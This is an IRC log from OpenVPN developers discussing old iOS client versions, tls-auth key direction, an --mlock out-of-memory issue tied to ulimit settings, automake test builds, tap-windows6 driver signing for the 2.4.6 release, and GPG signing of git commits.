surprise me 06:00 <@cron2> I got another one \o/ 06:08 -!- Joost` is now known as Joost 10:08 < slypknot> ordex: i presume you mean this: https://forums.openvpn.net/viewtopic.php?f=36&t=26208 10:08 <@vpnHelper> Title: SSL - Verification of the message MAC failed while connecting iPad 1 - OpenVPN Support Forum (at forums.openvpn.net) 10:09 < slypknot> and the error: PolarSSL: SSL read error : SSL - Verification of the message MAC failed 10:12 < slypknot> should that be mbedtls now ? 10:32 <@syzzer> slypknot: which version os that? I guess 2.3? 10:32 <@syzzer> s/os/is/ 10:33 <@syzzer> openvpn version, that is. Think, then type Steffan... 10:54 < slypknot> syzzer: (think then type ;) ) version is iOS OpenVPN app has version 1.1.1 build 212 10:57 < slypknot> ordex or syzzer: with --proto tcp there will be data exchange to create tcp connection (as in that post) so some packets are exchanged prior to HMAC auth .. right ? 10:58 <@syzzer> slypknot: ah, that explains - I remembered we updated all the polar referencese to mbed already, but iOS is out of my hands :) 10:58 <@syzzer> slypknot: correct, as far as I know we don't piggyback on the SYN and SYNACK packets 10:58 < slypknot> syzzer: sounds like a good excuse ;) 10:59 < slypknot> suztanks for confiming 10:59 < slypknot> huh .. ? 10:59 < slypknot> syzzer: thanks for confiming 11:24 <@ordex> slypknot: that version is old 11:24 <@ordex> slypknot: now we have 1.2.9 ith mbedTLS 2.6.0 11:24 <@ordex> but I guess that guy can't update because he has an old iOS version (?) 11:24 < slypknot> ordex: ok :) 11:25 < slypknot> i don't know about the version problem .. 11:26 < slypknot> ordex: is iPad-1 still supported by Apple i guess ? 11:27 <@ordex> no clue to be honest 11:27 < slypknot> i'll ask the OP 11:28 < slypknot> cheerz ;) 11:28 < slypknot> btw .. that tip about --tls-auth without direction, i presume the iOS always assumes dir 1 in that case ? 11:29 <@ordex> there is a bidirectional option too 11:29 <@ordex> and honestly I can't remember right now what happens with no key direction 11:30 <@ordex> for sure, if you set it on client and server you avoid any ambiguity 11:30 <@ordex> but not having a direction is not necessarily a proble, for this reason 11:30 < slypknot> ech . sounds like a cludge 11:32 < slypknot> *idea* tie --key-direction to --server/--client .. force it ;) 11:39 <@ordex> this is what happens with tls-crypt 11:39 <@ordex> but tls-auth can't be changed now :( 11:44 < slypknot> ok .. i thought I read that --tls-crypt does not have a direction because it does enc/decrypt different to how --tls-auth does hmac ? not being tied to --server/--client .. but I'll believe you for now until i can find syzzers dev ,ail about how it works ;) 11:45 < slypknot> mail* 11:49 <@ordex> slypknot: yeah it does it differently. but the key being used is still the same for client and server, therefore an "implicit" key direction is still needed to tell each party which "section" of the key to use on each direction 11:50 < slypknot> ordex: ok thanks :) 11:53 <@vpnHelper> RSS Update - tickets: #1056: Options error: Unrecognized option or missing or extra parameter(s) in [PUSH-OPTIONS]:1: route (2.4.5) <https://community.openvpn.net/openvpn/ticket/1056> 12:05 < slypknot> #1056 .. and no logs or configs .. shall i point the user to the forum ? 12:07 < slypknot> aww .. my new powers on trac are so basic :( 15:34 <@vpnHelper> RSS Update - tickets: #1057: --multihome for v4-mapped sockets on FreeBSD fails <https://community.openvpn.net/openvpn/ticket/1057> 19:56 < tincantech> who hates ipv4 ? 20:48 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Quit: What can a Colonel & a kernel both do? Retire.] 20:49 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 21:54 <@ordex> tincantech: oh the iOS guy is using iOS 5..definitely can't upgrade :( 21:54 <@ordex> just saw that 22:19 <@ordex> ecrist: for the forum, do we really pull blocked IPs from spamhaus? they are known to blacklist IPs just because. 22:20 <@ordex> now some Tor IPs are blocked too..... --- Day changed Wed Apr 18 2018 01:48 <@cron2> ordex: iOS5? Now that is old... I have an ipad 1 that might be on this generation... and connect hasn't worked on iOS 5 for years 01:48 <@ordex> lol 01:48 <@ordex> ok 01:49 <@cron2> tincantech: the problem is not "v4" but "v4-mapped v6" (ipv4 packets on an ipv6 socket) - which is, in a way, an abomination that needs to die, but we need to support it while the multi-socket-thingie is not there yet... 01:49 <@mattock> anything for today's meeting agenda besides 2.4.6? 01:49 <@ordex> not from me 01:50 <@cron2> nothing particular from me, we could look at the un-solved agenda items from two weeks ago 01:50 <@ordex> or look at patches pending in pw :P 01:52 <@mattock> ok 01:56 <@mattock> does this look ok? https://community.openvpn.net/openvpn/wiki/Topics-2018-04-18 01:56 <@vpnHelper> Title: Topics-2018-04-18 – OpenVPN Community (at community.openvpn.net) 01:56 <@mattock> based on the summary we only really discussed 2.4.6/tap-windows6 and the auth-token patch two weeks ago 02:52 <@ordex> thanks 04:07 <@plaisthos> I also want support for my iPod! 04:07 <@plaisthos> It runs iOS 3.1.3 04:08 <@cron2> that is a first-gen ipod touch? 04:08 <@plaisthos> yes 04:08 <@plaisthos> it still works 04:08 <@cron2> nice :) 04:08 <@plaisthos> it is tiny compared to my current phone 04:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 04:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:34 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:27 < jvff> Hello, I'm not sure if this would be the appropriate procedure, but I sent a patch to the openvpn-devel ML (Send authentication failure reason between plugins) and didn't get any answers. What would be the best way for me to request for some feedback/comments? 06:30 <@cron2> jvff: patch to the ML is good, but sometimes everyone is just too busy with other things, unfortunately 06:30 <@cron2> right now I have no idea what everyone is doing, but the list traffic level is very low, and also IRC activity is low... 06:30 <@cron2> syzzer, dazo: where are you hiding? :) 06:31 <@dazo> just a bit too full table these days :( 06:34 < jvff> I understand. Is the patch added to some sort of queue? 06:34 <@dazo> jvff: I have spotted and looked at your patch .... it's a reasonable feature, but needed to think about more thoroughly on the feature and the implementation 06:34 <@dazo> it's in patchwork 06:35 <@dazo> https://patchwork.openvpn.net/patch/293/ 06:35 <@vpnHelper> Title: [Openvpn-devel] Send authentication failure reason between plugins - Patchwork (at patchwork.openvpn.net) 06:38 < jvff> Awesome, thanks! I'm available for any questions/discussions. No rush though, I was just unsure if I was following the procedure correctly 06:40 <@dazo> yeah, on less critical stuff, it can some times take a bit of time .... not happy about it, but that's how it is when having a lot of things to do 06:43 * cron2 mumbles something about critical stuff taking too long as well 06:43 * cron2 looks into the next mirror and says "that's the guy who always holds up stuff!!!" 06:48 < jvff> lol 06:49 < jvff> No worries. Better to take longer and have something with higher quality :) 07:01 <@ordex> :D 07:28 <@syzzer> cron2: what dazo says - too damn busy... 07:29 <@syzzer> the longer I work at the same place, the larger the part of the company that is blocking on my actions it seems 07:34 <@dazo> heh .... yeah .... I've experienced that too, including all my employers I've had in the past 07:38 <@cron2> syzzer: haha. Last week I've come to understand why it is recommended to change employers every 10 years (at least) 07:38 <@cron2> ... I was tasked to fix an issue in a module I wrote... 1997... 07:39 <@ordex> haha 07:40 <@ordex> when your own stuff start to bite you back..it's time to change! 07:40 <@ordex> :D 07:42 <@cron2> the much more amazing thing is that this particular low-level module is in heavy use all over the company, and hasn't seen the need for a change since 2009 07:43 <@cron2> now they found that things on the caller side had changed and needed to do more flexible buffer handling... (which was an oversight in the 1997 design, arguably) 08:37 <@ordex> cron2: will i be possible to run the test script as root on buildbot? or maybe we would just need to assign cap_net_admin to the "script" ? 08:38 <@ordex> *it 08:48 <@cron2> ordex: we already run the t_client tests as root (with sudo), so we can add that one 08:48 <@ordex> oky 09:19 <@ordex> meh 09:19 <@ordex> the dummy kernel module foes not support IPv6 apparently 09:20 <@ordex> uhm no it does 09:20 <@ordex> wth 09:35 <@ordex> mah combining cmocka with bash is getting "interesting" because cmocka just wants to run all its own tests and only check results hmmmmm 09:54 < tincantech> i just found a reproducable "OpenVPN: Out of Memory" .. openssl seems to be the culprit however 09:56 * tincantech afk for 1 hour 11:23 <@vpnHelper> RSS Update - tickets: #1058: Autoconnect and control through GUI are mutually exclusive. (Windows.) <https://community.openvpn.net/openvpn/ticket/1058> 11:32 < tincantech> cron2: hope you don't mind me commenting on trac 1058 11:33 < tincantech> anyway, this Out of Memeory in git master .. requires EC certs, -user/group nobody and reneg-sec to expire .. it seems too easy to find so i wonder if it already known about ? if so i'll leave it there .. if not i'll trac it 11:38 < tincantech> also --persist-* in use (but same error without persist) 11:43 <@cron2> tincantech: haven't seen any reports about OOM in a long while 11:43 <@cron2> (and that was on a busy server, running for days...) 11:43 <@cron2> so, please trac with log and config 11:46 <@dazo> tincantech: does this memleak disappear by just switching out EC certs with RSA certs? 11:48 < tincantech> dazo: i believe so .. i am testing thoroughly so as not to screw up ;) 11:52 <@dazo> interesting 11:53 < tincantech> I am fairly sure it also requires --mlock 11:55 < tincantech> I would be positive but understanding the source is a skill considerably beyond me 11:55 < tincantech> i'll trac it 11:59 < tincantech> dazo: fyi .. i was working on replacing --auth-gen-token with my own script when i found this 12:00 <@dazo> --mlock can certainly cause OOM in some scenarios ... that effectively disables swap, so if the system is low on memory you can easily hit this scenario 12:00 <@dazo> --mlock essentially means: Keep all memory buffers in RAM only 12:02 < tincantech> i understand that but i don't think that actual memory is the problem .. it is completely reproducable across every system i have tried so far 12:05 < tincantech> oo .. i'll try windows as well 12:06 < tincantech> this is just a teaser to get your teeth into: 12:06 < tincantech> Wed Apr 18 18:04:48 2018 us=5816 OpenSSL: error:140BA041:SSL routines:SSL_new:malloc failure 12:06 < tincantech> Wed Apr 18 18:04:48 2018 us=5824 SSL_new failed 12:06 < tincantech> OpenVPN: Out of Memory 12:06 < tincantech> but i'll fully trac it soon 12:12 < tincantech> one other thing .. it only happens on master (i believe) 12:25 < tincantech> nope .. testing 2.4.5 same problem 12:39 <@ordex> tincantech: does it happen sistematically at the first renegotiation? 12:51 < tincantech> ordex: yep .. everytime 12:52 <@ordex> ah ok 12:55 <@ordex> tincantech: openssl version? 12:56 < kitsune1> If using mlock and dropping privileges, its quite easy to run out of the limited lockable space available to non-root users. 12:56 <@ordex> [0052.20] < tincantech> I am fairly sure it also requires --mlock 12:56 <@ordex> oh 12:57 < kitsune1> So the question is running as root or dropping privileges? If latter, try increasing the locakable space for nobody (or whoever) to say 128K. 12:58 <@ordex> " -user/group nobody" 12:59 < tincantech> kitsune1: --mlock is definitely required and dropping privs to nobody/nogroup 12:59 < tincantech> and EC certs 12:59 < kitsune1> What doe sulimit -l show? 13:00 < kitsune1> The EC cert thing may not be relevant -- it may be just that it requires a little more memory to process and thus the OOM triggers only in that case. 13:00 < kitsune1> sorry: ulimit -l 13:02 < tincantech> kitsune1: 16384 13:02 < kitsune1> Is that for all users including nobody? 13:03 < tincantech> I'll have to look into that but I believe so 13:03 < kitsune1> Anyway that's not low: my ulimit is 64! Try increasing it further and see whether that helps. 13:07 < tincantech> kitsune1: will do .. thanks :) 13:13 < tincantech> ordex: ossl ver 101t and 110g 13:18 < tincantech> well .. if not dropping privs problem goes away 13:55 < kitsune1> Yeah, if you want mlock better not drop privileges. Unless you want to set a high lockable memory limit for nobody. Else sooner or later it risks running out for memory. 14:02 <@dazo> that actually makes sense ... because root doesn't have any real limits for --mlock 14:03 <@dazo> I still think this should be resolved though, but it's not a high priority task 14:43 <@ordex> dazo: cron2: this is the basic bash script I came up with to test the netlink stuff. ./networking_testdriver is the unit-test implementing 0 tests right now (each test can be executed by specifying the number as argument, i.e. ./networking_testdriver 0). The unit-test also prints the iproute command equivalent to the netlink action being executed by the test. The command is then executed after a 14:43 <@ordex> clean up and the statuses are compared 14:43 <@ordex> needs route intergration yet 14:43 <@ordex> https://paste.pound-python.org/show/aHTnPcy1kWCseSaDSItM/ 14:45 <@ordex> now i have to find out how to build the networking_testdriver within the cmocka environment *without* having cmocka running it directly (but it should rather run the script) 14:48 <@ordex> of ./networking_testdriver is not implementing 0 tests, but 4 right now. but my brain has 0 energy and therefore I should sleep 14:48 <@ordex> :P 14:52 < tincantech> ordex: sleep well :) 15:28 < tincantech> kitsune1: i expect you are on the right track but i cannot fix it 15:29 < tincantech> i pasted the details here: https://paste.fedoraproject.org/paste/mT0hg2ysynrKsX5wfRoaNQ 15:29 < tincantech> client log followed by details and configs 15:33 < tincantech> cron2: dazo ordex ^^ if you are interested 16:15 < tincantech> for clarity, the scripts do nothing exit 0 20:58 < tincantech> ordex: dazo if you question who over ruled me .. it was me ! 20:58 < tincantech> 25k reads .. i guess i better leave it --- Day changed Thu Apr 19 2018 04:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: Lost terminal] 10:05 <@cron2> mattock: are you around? 10:40 <@mattock> yes 10:40 <@mattock> I'm struggling to sign tap-windows6 in a way that Windows does not complain 10:40 <@mattock> it worked the last time, but now I get odd problems 10:40 <@mattock> currently I'm testing if the PRODUCT_VERSION_RESOURCE change has any effect there 10:41 <@mattock> or maybe my test box has just broken itself 10:42 <@mattock> no effect... 10:43 <@cron2> mattock: meh :-( 10:44 <@cron2> I'm mostly done with 2.4.6 - testing the final local build right now 10:45 <@cron2> mattock: will you merge the tap-windows6 v5 patch, or shall I just push to the github repo? 10:45 <@cron2> Output: "./openvpn-install-2.4.6-I601.exe" 10:45 <@mattock> push it 10:45 <@cron2> here we go :)) 10:46 <@cron2> To ssh://build.openvpn.net//var/lib/repos/openvpn.git 10:46 <@cron2> * [new tag] v2.4.6 -> v2.4.6 10:46 <@cron2> pushed 10:46 <@mattock> if tap-windows6 does not start to behave I may have issues releasing tomorrow 10:47 <@mattock> but as this is not yet public the tag does no harm 10:47 <@mattock> I will try to produce a functional tap-windows6 today, I have about 1 hour left 10:47 <@mattock> if that succeeds tomorrow is doable 10:50 <@cron2> so, shall I push my v5 fix to github/tap-windows6? or will you merge it? 10:51 <@cron2> mattock: yeah, only pushed to build.openvpn.net so far, as agreed. We could delay this for longer :-) - it will eventually get in the way of regular patch merging, but since nobody seems to want to ACK anything, this isn't happening anyway 10:54 <@mattock> :P 10:55 <@mattock> actually pushing to build is nice in that we can make release and public tagging simultaneously 10:55 <@mattock> if there problems with the release it is still possible to postpone 10:55 <@cron2> mmmh 10:55 <@cron2> everything allright with the buildmaster? it reports that two of my slaves are offline, and indeed I cannot ping the master through the VPN, though the VPN is up 10:56 <@mattock> then it probably is not ok 10:56 <@mattock> I will investigate 10:56 <@cron2> actually it's four... netbsd 51, 70, openbsd 60, osol10 10:57 <@mattock> and my centos-6 box 11:00 <@mattock> centos-6 is now up 11:00 <@mattock> I've had to reboot my server which hosts that VM so it did not come up properly 11:38 <@cron2> so it was a client issue? or just "reconnect vpn, all good"? 11:41 <@cron2> mmmh 11:41 <@cron2> my systems are all confused about their tun ips... 11:41 <@cron2> ifconfig claims "36.56", running ping produces pings sourced from 36.150 11:45 <@cron2> funky 12:25 <@mattock> in centos-6 case the buildslave startup script though mgetty was a twisted instance 12:26 <@mattock> could be pidfile-related 12:26 <@mattock> pidfile was probably left due to unclean shutdown of twisted (i.e. buildslave) on VM shutdown 12:55 < kitsune1> tincantech: I could reproduce it only with openssl-git (may be some 1.1.0 do this too) -- older one's did not allocate memory during renegotiation, so malloc failure not triggered. In my case the memory use after startup as 31MB, so 32MB fixed it. 12:59 < kitsune1> But it took a while to figure out its the soft limit for root (not nobody) that matters. The limit for root does not apply to processes run as root, but is consulted when privilege is dropped and applies then on. So to test, open a shell as root, type ulimit -l 32000 and run openvpn from that shell. You may need a little more than 32000, check mem using top or whatever. 13:00 < kitsune1> s/as/was/ 14:44 <@cron2> mattock: how is mgetty involved in there? 15:15 < kitsune1> mgetty? sounds like a voice from some good old days.. 15:23 < tincantech> kitsune1: cheers for the info i'll look into it shortly 15:31 <@cron2> kitsune1: definitely, which is why mattock's comment makes me curious... 15:32 <@cron2> (as a side note, mgetty had it's 25 year anniversary a few weeks ago) 15:33 < kitsune1> Was it that old... OMG, dont make me recall late nights spend on fax and voice modems on gateway computers with slackware running :) 15:35 < kitsune1> Gateway.com PCs, I mean, in case anyone used them.. 15:37 <@cron2> yep. those were the days :) 16:41 < tincantech> gateway .. they had some early "hi-speed" graphics bus (can't remember the name now) 16:43 < kitsune1> My gateway days are from the 90's -- there was not much "graphics" those days :) 16:44 < tincantech> i went to some gateway show and they used something like Doom or Unreal tournament to demo the graphics 16:46 < tincantech> I remember seeing CAD on an IBM mainframe terminal 16:47 < tincantech> using Vector graphics! 16:48 < tincantech> i remember the engineer said something like "this needs a mainframe .. you can'r run CAD on a PC" .. lol 16:48 < kitsune1> It seems those named Doom and Unreal Torunament has resurfaced as new games.. no idea whether related or now.. And vertical A0 size plotters? 16:48 < tincantech> yeah plotters! 16:49 < kitsune1> ugh too many typos.. time to sleep 16:49 < tincantech> l8r 22:34 <@ordex> does anybody know how I could create a dummy ptp interface on linux? the dummy kernel module creates a plain Ethernet interface only, apparently 22:34 <@ordex> maybe I can just use tun and tunctl to create one 22:34 <@ordex> or openvpn --mktun :P 22:34 <@ordex> the swissarmyknife :D 22:35 <@ordex> cool, no need for dummy at all then 22:36 <@ordex> awesome :] 22:46 < kitsune1> ordex: be peaceful, dont call the army, use "ip tuntap add mode tun" :) 22:46 <@ordex> hehe 22:46 <@ordex> either that or openvpn :P 22:46 <@ordex> no army, yeah, good idea :D 22:46 < kitsune1> Yeah, ip is another swiss knife.. 22:47 < kitsune1> iproute2 that is.. 23:05 <@ordex> :) yeah --- Day changed Fri Apr 20 2018 01:37 <@ordex> cron2: dazo: syzzer: about using cmocka and bash: right now I have created a unit-test that is built together with the other cmocka testdrivers, but when executed by cmocka it is a no-op. then a new script (t_net.sh) will call it with some arguments to perform the real tests. not sure this is a very good approach. but it can be seen in the last patch of my branch 01:38 <@ordex> https://github.com/ordex/openvpn/commit/96ce3ef64fd5a6867bd1eedaa292f5aba1984900 01:38 <@vpnHelper> Title: unit tests: implement test for SITNL · ordex/openvpn@96ce3ef · GitHub (at github.com) 01:38 <@ordex> (still wip anyway) 01:41 <@cron2> t_net.sh needs to test (if it doesn't already) whether the driver has actually been built, and return the "SKIPPED" exit code otherwise 01:41 <@cron2> (cmocka might not be available) 01:41 <@ordex> copy that 01:41 <@ordex> actually I am thinking if I really need to build it within cmocka...the only thing I am using is mock_msg.c (which may work without the mocka framework I believe) 01:44 <@ordex> I have also copied from t_client.sh the logic around SUDO/SU/KSU in order to use resulting RUN_SUDO command when running the driver and the iproute commands 01:45 <@cron2> indeed, maybe just move it outside cmocka to the normal tests/ directory and figure out how to build C programs there 01:46 <@ordex> yeah, I was reluctant to do that because it would be the first C program in that folder..but that's probably the cleanest solution 01:48 <@ordex> I may even use t_net.sh itself to compile the driver.. 01:54 <@cron2> adding a Makefile.am might be sufficient to get everything magically done 02:00 <@ordex> hm there is one already in tests. I have to figure out hoe to compile a target without adding it to TESTS 02:00 <@mattock> morning 02:00 <@ordex> *how 02:00 <@ordex> morning! 02:01 <@mattock> ok so I wrestled with tap-windows6 signatures all of yesterday pretty much 02:01 <@cron2> ouch 02:01 <@mattock> samuli 0, tap-windows6 4 02:01 <@mattock> I have no clue why it does not work now, when it did work a week ago 02:01 <@ordex> argh 02:02 <@mattock> the errors in setupapi-dev.log (or what was it) are odd, they claim that the inf-files hash is not in the (signed) catalog file 02:02 <@cron2> ordex: you'd add t_net to TESTS, and maybe PROGRAMS = mynettest, and then mynettest_SOURCES = ... 02:02 <@mattock> I will test the installer on other Windows instances just in case 02:02 <@ordex> ah PROGRAMS 02:02 <@cron2> (looking at src/openvpn/Makefile.am, which has sbin_PROGRAMS) 02:02 <@ordex> thanks for the hint! 02:02 <@ordex> ok 02:02 <@mattock> it could be that the tapbuilder VM is just in a limbo 02:02 <@ordex> for me all this automake system is still unexplored jungle 02:02 <@cron2> ordex: welcome to the club 02:03 <@mattock> (I used tapbuilder for testing the tap-windows6 driver) 02:03 <@ordex> thanks :P 02:03 <@mattock> in any case I won't be able to release 2.4.6 today, nor in the weekend 02:03 <@mattock> so monday it must be 02:06 <@mattock> slave-ubuntu-1604-amd64 now up 02:13 <@ordex> cron2: I was greeted with this: tests/unit_tests/openvpn/Makefile.am:14: error: 'PROGRAMS' is an anachronism 02:13 <@ordex> :D 02:14 <@cron2> ah, you want noinst_PROGRAMS 02:14 <@cron2> https://www.gnu.org/software/automake/manual/automake.html#A-Program 02:14 <@vpnHelper> Title: automake (at www.gnu.org) 02:15 <@cron2> ah, no 02:15 <@cron2> check_PROGRAMS 02:15 <@cron2> In a directory containing source that gets built into a program (as opposed to a library or a script), the PROGRAMS primary is used. Programs can be installed in bindir, sbindir, libexecdir, pkglibexecdir, or not at all (noinst_). They can also be built only for `make check', in which case the prefix is `check_'. 02:30 <@ordex> ok, thanks 02:30 <@ordex> will see how to juggle with that 02:34 <@ordex> cron2: it worked :) built but not executed. yay! 02:48 <@cron2> good 02:55 <@ordex> and travis says it's all green :] 04:28 <@mattock> ah, finally 04:28 <@mattock> a minor difference that made all the difference 04:28 <@mattock> -Force flag to Sign-Tap-6 did the trick 04:28 <@mattock> essentially, unless one is appending signatures, the old catalog files have to be removed 04:29 <@mattock> otherwise the catalog file will be signed, but the file hashes it contains will be wrong 04:29 <@mattock> hence driver installation will fail 04:29 <@mattock> I will overdocument this so that I don't miss this the next time 04:31 <@dazo> ordex: cron2: This site does a pretty good job extracting the core of autotools .... https://autotools.io/index.html 04:31 <@vpnHelper> Title: Autotools Mythbuster (at autotools.io) 05:36 <@ordex> mattock: put a big fat warning somewhere :P 05:45 <@dazo> EXPLOTIONS.rst ? 05:45 <@ordex> dazo: it looks like you are the expert :P am I required to always define an AM_CONDITIONAL ? or when not defined it is interpreted as "false" ? 05:45 <@ordex> like an ifdef 05:46 <@cron2> mattock: cool. So you have a test driver with 9.22.1 and 9,22,1,601 now? 05:46 <@dazo> ordex: good question .... AM_CONDITIONAL makes the "variable" visible within automake (hence AM_ prefix) 05:46 <@ordex> yeah 05:46 <@ordex> so I was hoping that "if VARIABLE" when VARIABLE is not defined would be treated like false..but I am having some issues, so it might not be working as expected 05:47 <@dazo> I don't know if it's required ... but if it blows up only when not adding AM_CONDITIONAL, that's a strong inidcation 05:47 <@ordex> :D 05:47 <@ordex> I had that feeling ... 05:47 <@ordex> :D:D 05:47 <@dazo> essentially at the lowest level of autoconf/automake, it's shell 05:48 <@dazo> it's just wrapped into lots of m4 and related scripting language 05:48 <@ordex> yeah 05:48 <@ordex> endless layers of wrapers :D 05:49 <@dazo> yeah .... wondering how many layers of recursion they managed to add too ..... :-P 05:49 <@ordex> :D 05:49 <@ordex> you better don't fine the answer 05:49 <@ordex> might be traumatic 05:49 <@ordex> *find 05:50 <@dazo> perhaps the answer is something like 42 :-P 05:50 <@dazo> (and whenever I fight with autotools, I think of the wonderful CMake .... until I fight with CMake, then I think of the wonderful autotools ... ) 05:51 <@cron2> yeah 05:52 <@ordex> lol 05:52 <@ordex> I think things have to be kept simple, otherwise it's easy to end up with something that can't be maintained 05:52 <@ordex> but I am not an autotool expert and I don't want to be :P 05:53 <@ordex> ok, I think I'll send the sitnl patchset as actual PATCH, now that I have some basic unit-tests 05:53 <@dazo> ordex: oh, come one ... we have cookies! 05:53 <@ordex> :D 05:55 <@dazo> I don't see myself as an autotools expert ... but I've wrestled it enough times to understand some important pieces of it ... but it is still enigmatic to me :) 06:15 <@ordex> patchset is coming! 06:15 <@ordex> 13 files changed, 2559 insertions(+), 440 deletions(-) 06:15 <@ordex> :D 06:19 <@cron2> can you set the first round to "superseded" in patchwork, please? 06:19 <@ordex> cron2: may I suggest you to sign your commits before pushing them to the repo? is one more guarantee that commits are the same you have pushed and they have not been altered on the server 06:19 <@ordex> cron2: sure! 06:20 <@cron2> ordex: I do that :) 06:20 <@ordex> ah, well then the signature does not reach github, because it does not appear there 06:20 <@cron2> not for all commits (not for those that I just pick from the list and merge) but for the two recent ones that are in mattock's private repo, they are 06:21 <@cron2> so when you say "my commits" is that "commits that I do for other people" or "*my* commits"? 06:21 <@ordex> all of them 06:22 <@cron2> well, see above 06:22 <@ordex> because you are still the committer, so you still can sign them, I believe (?) 06:22 <@dazo> git commit -S (or setting git config commit.gpgsign true) 06:22 <@ordex> oh ok, so you sign only yours 06:23 <@cron2> the rest is publicly verifiable anyway (and I find gpg too annoying in general) 06:23 <@cron2> dazo: when I do "git commit --amend -S" it will replace the signature, right? 06:23 <@dazo> it will add the gpg signature, yes 06:23 <@cron2> (because I do this quite often when I discover that the commit message was wrapped non-nicely, that URL: has not been properly searched, ...) 06:24 <@cron2> dazo: no, if there already *is* a signature, and I --amend -S, what then? 06:24 <@dazo> you mean signed-off ... or gpg signature? 06:24 <@cron2> since you are talking about -S, gpg, obviously :) 06:24 <@dazo> if it already is a gpg signature, it will be changed if the message change, iirc 06:25 <@cron2> ordex: but what I need to do is have the "your patch has been committed!" mails gpg-signed 06:25 <@cron2> need to see how to do that in a useful and non-annoying way 06:26 <@dazo> we might consider to look into git request-pull .... where we actually do the pull from a git repository, where commits will be signed 06:26 <@ordex> yeah, in that case they are committed and signed by the original author 06:26 <@dazo> but need to automate the way so we get the message-id and related meta-tags added per commit 06:26 <@cron2> dazo: request-pull will result in merge commits, no? 06:27 <@dazo> nope 06:27 <@cron2> we have these in tap-windows6 and I find them highly displeasing 06:27 <@dazo> request-pull just prepares a mail template with a reference to an external repository 06:27 <@dazo> then that is being pulled in 06:27 <@dazo> how the "merge" from that repo is done into master/release branches is up to us 06:28 <@cron2> not sure I understand who would do what in that workflow, then, and how "I receive a signed commit and modify the commit message on locally committing" could ever keep the gpg signature intact 06:28 <@dazo> to script around ... or use git merge --{no,}-ff 06:28 <@ordex> cron2: btw, if your commits are not signed, theoretically the commit on the server could be different from the one you believe you have pushed. because the server might have changed it (yeah you use mirrors and *you* will realize the problem, but not other users) 06:28 <@ordex> cron2: when you merge a PR you don't touch commits 06:28 <@ordex> you can't 06:28 <@cron2> ordex: it will be very obvious on the next push, and it will also be very obvious by comparing the commit IDs I send to the list... 06:28 <@ordex> if you want to do that, you have to go with your current workflow 06:29 <@dazo> that's true 06:29 <@cron2> if someone is able to mess with a commit I push to the server, he can just remove the gpg signature and claim "this is the head"... so, unless users *pulling* actually verify the signature, not much is won 06:29 <@ordex> cron2: sure, not saying "it introduces something new", it just makes things easier, imho, because you just need to verify the signature (which happens automatically) 06:29 <@cron2> but yeah, I need to sign these mails - this is missing today 06:29 <@dazo> we now have a very simple git history ... so git merge with merge commits will make that linear git history more "complicated" 06:30 <@ordex> cron2: yeah right, I was assuming git will check for you on pull 06:30 <@cron2> ordex: it could, if people bothered to import my key into their gpg keyring... 06:30 <@ordex> I did!! :D 06:30 <@cron2> (did I mention that gpg is theoretically really wonderful, and in practice, a time-consuming nuisance?) 06:30 <@ordex> hehe well come on, once you set it up it's all good 06:30 <@cron2> so... off, kid has earlier end of school today... 06:30 <@dazo> git {log,show} --show-signature will be clear if the key is missing locally or the something odd has happened 06:31 <@ordex> you "just" need to set it uo :] 06:31 <@cron2> ordex: nah, then the key expires :) 06:31 <@ordex> haha 06:31 <@ordex> dazo: I think pull can be instructed to verify automatically 06:32 <@ordex> old sitnl RFC/patches have been marked as superseeded 06:33 <@ordex> hmmm it seems you can also sign a "push" 06:33 <@dazo> yeah, signed push is fairly new ... but requires server support as well 06:33 <@ordex> normally I at least sign tags, but that's also, imho a reasonable way to enforce some more trust 06:33 <@ordex> yeah 06:34 <@dazo> yeah, you have git {pull,merge} --verify-signatures 06:35 <@ordex> dazo: merge has --verify-signatures (which can be set also via merge.verifySignatures) 06:35 <@ordex> yeah 06:35 <@dazo> heh 06:35 <@ordex> it was at the very bottom of the man ! 06:35 <@ordex> :D 06:35 <@ordex> (almost :P) 06:35 <@dazo> :-P 06:35 <@dazo> this is an interesting thread: https://stackoverflow.com/questions/17371955/verifying-signed-git-commits 06:36 <@vpnHelper> Title: Verifying signed git commits? - Stack Overflow (at stackoverflow.com) 06:36 <@ordex> hmm it seems not all the patches have reached the ml (?) 06:43 < tincantech> hi, it seems i have made a little progress with this OOM - Now at --verb 7 there is no openssl errors but on --reneg-sec the client OOMs 06:44 < tincantech> i know it's not a prio but i guess i should track it so it does not get forgotten .. 06:46 <@dazo> tincantech: --mlock is a very tricky aspect ... as it changes how the kernel manages memory buffers provided via various memory allocation calls via glibc ... so what you do here and documenting your findings are truly valuable, even though we don't dive into it now 06:47 <@dazo> but it might as well just be that /etc/security/limits.conf needs to be properly tuned to work with --mlock as well 06:47 <@dazo> (see man 5 limits.conf for details) 06:48 <@dazo> this is all related to ulimits ... but as you do --user/--group, these limits are also set up per user/group based on that file 06:48 < tincantech> dazo: hehe .. you think i haven't been reading that! 06:49 <@dazo> I didn't know which directions you've been looking, but good to hear you've been into that path :) 06:50 < tincantech> as far as i can tell on arch nobody has exact same limits as root .. so something is very fishy 06:50 <@dazo> but ... that said ... it might be limits.conf doesn't have an effect ... as I don't think --user/--group (essentially seteuid()/setegid() calls won't trigger PAM) 06:50 < tincantech> nut i'll trac it :) 06:50 <@dazo> thx! 06:50 <@dazo> perhaps we need to tweak ulimits after dropping privileges ..... 06:51 <@ordex> can you tweak your own limits? 06:52 <@dazo> only within the hardlimits range 06:52 <@ordex> oh ok 06:52 <@dazo> but might be we need to set some capabilities to tweak ulimits/rlimits, drop root privs, modify limits, drop capabilities again 06:53 < tincantech> dazo: do you know if limits.conf is read each time openvpn drops privs .. i mean i can't logout nobody .. so it must be right ? 06:56 <@dazo> tincantech: I began to doubt that actually .... as it is pam_limits which parses that file and sets the limits ... PAM is only invoked through various services as defined in /etc/pam.d 06:56 <@dazo> set*{g,u}id() calls normally don't trigger PAM at all 06:57 <@dazo> (and it's only root which is allowed to do those calls, or if specific capabilities is set) 06:57 < tincantech> ah 